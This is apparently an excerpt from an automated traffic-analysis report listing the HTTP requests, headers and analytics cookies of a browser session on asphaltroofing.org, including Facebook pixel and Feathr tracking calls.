(Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAttribution-Reporting-Eligible: event-source=navigation-source, triggerReferer: https://www.asphaltroofing.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /tr/?id=688224189896855&ev=ViewContent&dl=https%3A%2F%2Fwww.asphaltroofing.org%2Fexcellence%2F&rl=&if=false&ts=1713884077837&cd[b_w]=1280&cd[b_h]=907&cd[s_w]=1280&cd[s_h]=1024&cd[loc_url]=https%3A%2F%2Fwww.asphaltroofing.org%2Fexcellence%2F&cd[ses_id]=6627cb7c5c51a2698cf29ddb&cd[flvr]=page_view&cd[a_id]=603026366fd8bf4e42de107f&cd[debug]=0&cd[bypass_hash]=0&cd[f_id]=6627cb818425280008d4a656&cd[ttd_id]=b73cbbe9-d3f6-43f9-891b-3186ee4712ab&sw=1280&sh=1024&v=2.9.154&r=stable&ec=0&o=4126&fbp=fb.1.1713884037978.840489946&ler=empty&cdl=API_unavailable&it=1713884077822&coo=false&dpo=LDU&dpoco=0&dpost=0&tm=1&rqm=GET HTTP/1.1Host: www.facebook.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /privacy_sandbox/pixel/register/trigger/?id=688224189896855&ev=ViewContent&dl=https%3A%2F%2Fwww.asphaltroofing.org%2Fexcellence%2F&rl=&if=false&ts=1713884077837&cd[b_w]=1280&cd[b_h]=907&cd[s_w]=1280&cd[s_h]=1024&cd[loc_url]=https%3A%2F%2Fwww.asphaltroofing.org%2Fexcellence%2F&cd[ses_id]=6627cb7c5c51a2698cf29ddb&cd[flvr]=page_view&cd[a_id]=603026366fd8bf4e42de107f&cd[debug]=0&cd[bypass_hash]=0&cd[f_id]=6627cb818425280008d4a656&cd[ttd_id]=b73cbbe9-d3f6-43f9-891b-3186ee4712ab&sw=1280&sh=1024&v=2.9.154&r=stable&ec=0&o=4126&fbp=fb.1.1713884037978.840489946&ler=empty&cdl=API_unavailable&it=1713884077822&coo=false&dpo=LDU&dpoco=0&dpost=0&tm=1&rqm=FGET HTTP/1.1Host: www.facebook.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /resources/ HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.1.25628076.1713884020; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _fbp=fb.1.1713884037978.840489946; _ga_YHMWY88VCL=GS1.1.1713884019.1.1.1713884073.0.0.0; _scc_session=pc=6&C_TOUCH=2024-04-23T14:54:34.086Z
Source: global traffic	HTTP traffic detected: GET /security.js?v=1713884077797 HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-aliveCache-Control: max-age=0Accept: /Service-Worker: scriptSec-Fetch-Site: same-originSec-Fetch-Mode: same-originSec-Fetch-Dest: serviceworkerReferer: https://www.asphaltroofing.org/security.js?v=1713884077797User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.1.25628076.1713884020; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _fbp=fb.1.1713884037978.840489946; _ga_YHMWY88VCL=GS1.1.1713884019.1.1.1713884073.0.0.0; _scc_session=pc=6&C_TOUCH=2024-04-23T14:54:34.086ZIf-None-Match: "4506e-5c6-5ddcbf6119400"If-Modified-Since: Fri, 29 Apr 2022 14:36:00 GMT
Source: global traffic	HTTP traffic detected: GET /wp-content/fontello-icon-fonts/back-to-work-social-media-graphics/css/fontello.css?ver=3.3.8 HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.asphaltroofing.org/resources/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.1.25628076.1713884020; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _fbp=fb.1.1713884037978.840489946; _ga_YHMWY88VCL=GS1.1.1713884019.1.1.1713884073.0.0.0; _scc_session=pc=6&C_TOUCH=2024-04-23T14:54:34.086Z
Source: global traffic	HTTP traffic detected: GET /wp-content/fontello-icon-fonts/back-to-work-social-media-graphics/css/animation.css?ver=3.3.8 HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.asphaltroofing.org/resources/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.1.25628076.1713884020; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _fbp=fb.1.1713884037978.840489946; _ga_YHMWY88VCL=GS1.1.1713884019.1.1.1713884073.0.0.0; _scc_session=pc=6&C_TOUCH=2024-04-23T14:54:34.086Z
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2017/04/AdobeStock_21079337-400x400.jpeg HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.asphaltroofing.org/resources/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.1.25628076.1713884020; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _fbp=fb.1.1713884037978.840489946; _ga_YHMWY88VCL=GS1.1.1713884019.1.1.1713884073.0.0.0; _scc_session=pc=6&C_TOUCH=2024-04-23T14:54:34.086Z
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2017/04/ga_0-300x122.jpg HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.asphaltroofing.org/resources/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.1.25628076.1713884020; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _fbp=fb.1.1713884037978.840489946; _ga_YHMWY88VCL=GS1.1.1713884019.1.1.1713884073.0.0.0; _scc_session=pc=6&C_TOUCH=2024-04-23T14:54:34.086Z
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2017/04/banner.jpg HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.asphaltroofing.org/resources/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.1.25628076.1713884020; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _fbp=fb.1.1713884037978.840489946; _ga_YHMWY88VCL=GS1.1.1713884019.1.1.1713884079.0.0.0; _scc_session=pc=7&C_TOUCH=2024-04-23T14:54:39.985Z
Source: global traffic	HTTP traffic detected: GET /v1/accounts/603026366fd8bf4e42de107f/integrations HTTP/1.1Host: polo.feathr.coConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://www.asphaltroofing.orgSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.asphaltroofing.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2017/04/ga_0-300x122.jpg HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.1.25628076.1713884020; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _fbp=fb.1.1713884037978.840489946; _ga_YHMWY88VCL=GS1.1.1713884019.1.1.1713884079.0.0.0; _scc_session=pc=7&C_TOUCH=2024-04-23T14:54:39.985Z
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2017/04/AdobeStock_21079337-400x400.jpeg HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.1.25628076.1713884020; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _fbp=fb.1.1713884037978.840489946; _ga_YHMWY88VCL=GS1.1.1713884019.1.1.1713884079.0.0.0; _scc_session=pc=7&C_TOUCH=2024-04-23T14:54:39.985Z
Source: global traffic	HTTP traffic detected: GET /v1/refresh HTTP/1.1Host: marco.feathr.coConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.asphaltroofing.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: f_id=6627cb818425280008d4a656
Source: global traffic	HTTP traffic detected: GET /v1/accounts/603026366fd8bf4e42de107f/integrations HTTP/1.1Host: polo.feathr.coConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: f_id=6627cb818425280008d4a656
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2017/04/banner.jpg HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.1.25628076.1713884020; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _fbp=fb.1.1713884037978.840489946; _ga_YHMWY88VCL=GS1.1.1713884019.1.1.1713884079.0.0.0; _scc_session=pc=7&C_TOUCH=2024-04-23T14:54:39.985Z
Source: global traffic	HTTP traffic detected: GET /v1/analytics/match/script.js?a_id=603026366fd8bf4e42de107f&pk=feathr&cb=1713884081143 HTTP/1.1Host: polo.feathr.coConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.asphaltroofing.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: f_id=6627cb818425280008d4a656
Source: global traffic	HTTP traffic detected: GET /v1/refresh HTTP/1.1Host: marco.feathr.coConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: f_id=6627cb818425280008d4a656
Source: global traffic	HTTP traffic detected: GET /v1/analytics/crumb?cb=1713884081808&a_id=603026366fd8bf4e42de107f&f_id=6627cb818425280008d4a656&ses_id=6627cb7c5c51a2698cf29ddb&ttd_id=b73cbbe9-d3f6-43f9-891b-3186ee4712ab&flvr=page_view&loc_url=https%3A%2F%2Fwww.asphaltroofing.org%2Fresources%2F&s_w=1280&s_h=1024&b_w=1280&b_h=907&cust_params=e30= HTTP/1.1Host: polo.feathr.coConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.asphaltroofing.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: f_id=6627cb818425280008d4a656
Source: global traffic	HTTP traffic detected: GET /?wc-ajax=get_refreshed_fragments HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.1.25628076.1713884020; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _fbp=fb.1.1713884037978.840489946; _ga_YHMWY88VCL=GS1.1.1713884019.1.1.1713884079.0.0.0; _scc_session=pc=7&C_TOUCH=2024-04-23T14:54:39.985Z
Source: global traffic	HTTP traffic detected: GET /security.js?v=1713884082416 HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-aliveCache-Control: max-age=0Accept: /Service-Worker: scriptSec-Fetch-Site: same-originSec-Fetch-Mode: same-originSec-Fetch-Dest: serviceworkerReferer: https://www.asphaltroofing.org/resources/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.1.25628076.1713884020; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _fbp=fb.1.1713884037978.840489946; _ga_YHMWY88VCL=GS1.1.1713884019.1.1.1713884079.0.0.0; _scc_session=pc=7&C_TOUCH=2024-04-23T14:54:39.985Z
Source: global traffic	HTTP traffic detected: GET /v1/analytics/crumb?cb=1713884081808&a_id=603026366fd8bf4e42de107f&f_id=6627cb818425280008d4a656&ses_id=6627cb7c5c51a2698cf29ddb&ttd_id=b73cbbe9-d3f6-43f9-891b-3186ee4712ab&flvr=page_view&loc_url=https%3A%2F%2Fwww.asphaltroofing.org%2Fresources%2F&s_w=1280&s_h=1024&b_w=1280&b_h=907&cust_params=e30= HTTP/1.1Host: polo.feathr.coConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: f_id=6627cb818425280008d4a656
Source: global traffic	HTTP traffic detected: GET /tr/?id=688224189896855&ev=ViewContent&dl=https%3A%2F%2Fwww.asphaltroofing.org%2Fresources%2F&rl=&if=false&ts=1713884082689&cd[b_w]=1280&cd[b_h]=907&cd[s_w]=1280&cd[s_h]=1024&cd[loc_url]=https%3A%2F%2Fwww.asphaltroofing.org%2Fresources%2F&cd[ses_id]=6627cb7c5c51a2698cf29ddb&cd[flvr]=page_view&cd[a_id]=603026366fd8bf4e42de107f&cd[debug]=0&cd[bypass_hash]=0&cd[f_id]=6627cb818425280008d4a656&cd[ttd_id]=b73cbbe9-d3f6-43f9-891b-3186ee4712ab&sw=1280&sh=1024&v=2.9.154&r=stable&ec=0&o=4126&fbp=fb.1.1713884037978.840489946&ler=empty&cdl=API_unavailable&it=1713884082656&coo=false&dpo=LDU&dpoco=0&dpost=0&tm=1&rqm=GET HTTP/1.1Host: www.facebook.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.asphaltroofing.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /privacy_sandbox/pixel/register/trigger/?id=688224189896855&ev=ViewContent&dl=https%3A%2F%2Fwww.asphaltroofing.org%2Fresources%2F&rl=&if=false&ts=1713884082689&cd[b_w]=1280&cd[b_h]=907&cd[s_w]=1280&cd[s_h]=1024&cd[loc_url]=https%3A%2F%2Fwww.asphaltroofing.org%2Fresources%2F&cd[ses_id]=6627cb7c5c51a2698cf29ddb&cd[flvr]=page_view&cd[a_id]=603026366fd8bf4e42de107f&cd[debug]=0&cd[bypass_hash]=0&cd[f_id]=6627cb818425280008d4a656&cd[ttd_id]=b73cbbe9-d3f6-43f9-891b-3186ee4712ab&sw=1280&sh=1024&v=2.9.154&r=stable&ec=0&o=4126&fbp=fb.1.1713884037978.840489946&ler=empty&cdl=API_unavailable&it=1713884082656&coo=false&dpo=LDU&dpoco=0&dpost=0&tm=1&rqm=FGET HTTP/1.1Host: www.facebook.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAttribution-Reporting-Eligible: trigger=navigation-source, event-sourceReferer: https://www.asphaltroofing.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /security.js?v=1713884082416 HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-aliveCache-Control: max-age=0Accept: /Service-Worker: scriptSec-Fetch-Site: same-originSec-Fetch-Mode: same-originSec-Fetch-Dest: serviceworkerReferer: https://www.asphaltroofing.org/security.js?v=1713884082416User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.1.25628076.1713884020; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _fbp=fb.1.1713884037978.840489946; _ga_YHMWY88VCL=GS1.1.1713884019.1.1.1713884079.0.0.0; _scc_session=pc=7&C_TOUCH=2024-04-23T14:54:39.985ZIf-None-Match: "4506e-5c6-5ddcbf6119400"If-Modified-Since: Fri, 29 Apr 2022 14:36:00 GMT
Source: global traffic	HTTP traffic detected: GET /tr/?id=688224189896855&ev=ViewContent&dl=https%3A%2F%2Fwww.asphaltroofing.org%2Fresources%2F&rl=&if=false&ts=1713884082689&cd[b_w]=1280&cd[b_h]=907&cd[s_w]=1280&cd[s_h]=1024&cd[loc_url]=https%3A%2F%2Fwww.asphaltroofing.org%2Fresources%2F&cd[ses_id]=6627cb7c5c51a2698cf29ddb&cd[flvr]=page_view&cd[a_id]=603026366fd8bf4e42de107f&cd[debug]=0&cd[bypass_hash]=0&cd[f_id]=6627cb818425280008d4a656&cd[ttd_id]=b73cbbe9-d3f6-43f9-891b-3186ee4712ab&sw=1280&sh=1024&v=2.9.154&r=stable&ec=0&o=4126&fbp=fb.1.1713884037978.840489946&ler=empty&cdl=API_unavailable&it=1713884082656&coo=false&dpo=LDU&dpoco=0&dpost=0&tm=1&rqm=GET HTTP/1.1Host: www.facebook.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /privacy_sandbox/pixel/register/trigger/?id=688224189896855&ev=ViewContent&dl=https%3A%2F%2Fwww.asphaltroofing.org%2Fresources%2F&rl=&if=false&ts=1713884082689&cd[b_w]=1280&cd[b_h]=907&cd[s_w]=1280&cd[s_h]=1024&cd[loc_url]=https%3A%2F%2Fwww.asphaltroofing.org%2Fresources%2F&cd[ses_id]=6627cb7c5c51a2698cf29ddb&cd[flvr]=page_view&cd[a_id]=603026366fd8bf4e42de107f&cd[debug]=0&cd[bypass_hash]=0&cd[f_id]=6627cb818425280008d4a656&cd[ttd_id]=b73cbbe9-d3f6-43f9-891b-3186ee4712ab&sw=1280&sh=1024&v=2.9.154&r=stable&ec=0&o=4126&fbp=fb.1.1713884037978.840489946&ler=empty&cdl=API_unavailable&it=1713884082656&coo=false&dpo=LDU&dpoco=0&dpost=0&tm=1&rqm=FGET HTTP/1.1Host: www.facebook.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /about-arma/ HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.1.25628076.1713884020; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _fbp=fb.1.1713884037978.840489946; _ga_YHMWY88VCL=GS1.1.1713884019.1.1.1713884079.0.0.0; _scc_session=pc=7&C_TOUCH=2024-04-23T14:54:39.985Z
